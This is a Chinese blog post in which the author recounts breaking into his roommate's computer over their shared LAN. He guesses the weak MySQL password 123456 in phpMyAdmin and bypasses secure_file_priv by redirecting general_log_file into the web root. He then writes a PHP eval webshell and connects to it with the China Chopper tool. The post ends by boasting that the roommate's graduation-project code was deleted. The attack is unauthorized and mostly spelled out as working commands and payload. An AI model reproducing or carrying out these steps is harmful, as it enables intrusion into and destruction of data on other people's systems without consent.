一次phpmyadmin突破secure_file_priv写s

2019-03-27  本文已影响0人  zzqsmile

晚上下闲来无事,租的公寓一共两间房,我和另外一个同学各住一间,隔壁一墙之隔的他正在打游戏,我比较爱学习,随便玩玩,就突然引发了一次简单渗透。。。 无关紧要的过程就不写了,下面简单记录下主要有用的步骤。

发现内网里面存活的主机,不多,简单排除下,估计192.168.1.101就是隔壁室友的电脑了,发现803306端口

图片.png 图片.png
  1. 获取数据库路径
D:\phpstudy\PHPTutorial\MySQL\data\
图片.png
  1. 获取数据库版本5.5.53

    图片.png
  2. 获取当前连接数据库用户


    图片.png
  3. 获取当前数据库security

图片.png 图片.png

发现由于secure_file_priv权限问题,没戏。心有不甘,继续看看吧!

图片.png

猜测密码应该不复杂,简单测试下,发现密码123456弱口令,然后sql语句写webshell也是一样,不能够写入如下:

图片.png
  1. 查看secure_file_priv值,结果如下为NULL,说明不能使用loadfile,into outfile进行读写文件。
show global variables like 'secure_file_priv';
图片.png
  1. 接下来就是要突破这一限制,写webshell。
mysql中有两个全局变量是我们getshell需要用到的重要变量:
general_log
general_log_file

general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
  1. general_log_file 就是操作日志存放的路径:
    show variables like 'general_log%';
图片.png

注:此处的操作日志路径并不是默认的,因为之前做过一遍已经将其修改了

1.首先打开操作日志记录
set global general_log = 'ON';

图片.png 图片.png

2.设置操作记录日志路径
set global general_log_file='路径地址'

set global general_log_file='D:\\phpstudy\\PHPTutorial\\WWW\\zzqsmile.php'

这里我再换个目录存放操作日志,即在网站根目录

图片.png

3.执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中,就可以getshell了

select '<?php phpinfo();@eval($_POST[zzqsmile]);?>'
图片.png

4.访问webshell,如下,没问题,然后上菜刀砍他!

图片.png 图片.png 图片.png

打游戏的注意了,毕业设计写的代码被删了!好好学习吧。

参考
https://c1h3ng.github.io/web/2017/11/06/phpmyadmin-getshell/

上一篇下一篇

猜你喜欢

热点阅读